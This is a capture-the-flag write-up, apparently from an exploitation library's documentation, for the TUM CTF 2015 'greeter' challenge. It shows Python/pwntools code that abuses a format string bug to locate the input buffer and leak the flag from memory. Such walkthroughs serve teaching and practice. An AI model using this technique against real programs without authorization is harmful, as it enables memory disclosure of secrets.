TUM CTF Teaser 2015: greeter¶

Overview¶

Another example of a basic format string vulnerability. In this case, the flag was read into memory and your input was printf’d back at you. The goal being to use that printf to read the flag from memory.

Example:

$ ./greeter
Hi, what's your name?
%x
Pwn harder, 8d74e440!

The Vulnerability¶

As previously mentioned, we have a format string vulnerability, and we know that the flag was read into memory prior to our format string being executed. The easy method is to simply print it out as a string.

Step 1: exec_fmt¶

The first step in using the FormatString class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we’re not worried about exploiting the vulnerability, we’re simply interacting with the program.

def exec_fmt(s):
    p = process(fName,buffer_fill_size=0xffff)
    p.sendline(s)
    p.recvuntil("Pwn harder, ",drop=True)
    return p.recvall()

That’ll do. That’s the majority of your work right there.

Step 2: Instantiate Class¶

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we’ll also open an ELF class on the exe.

from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./greeter")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you’ll see something like this:

Found the offset to our input! Index = 6, Pad = 0

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.

Step 3: Read Flag As String¶

Now that it’s all set up, simply ask FormatString to give you this variable as a string.

fmtStr.leak.s(elf.symbols['flag'])

That’s it. Your flag is printed. If this were the CTF, you could change process to remote and run it again to grab the flag.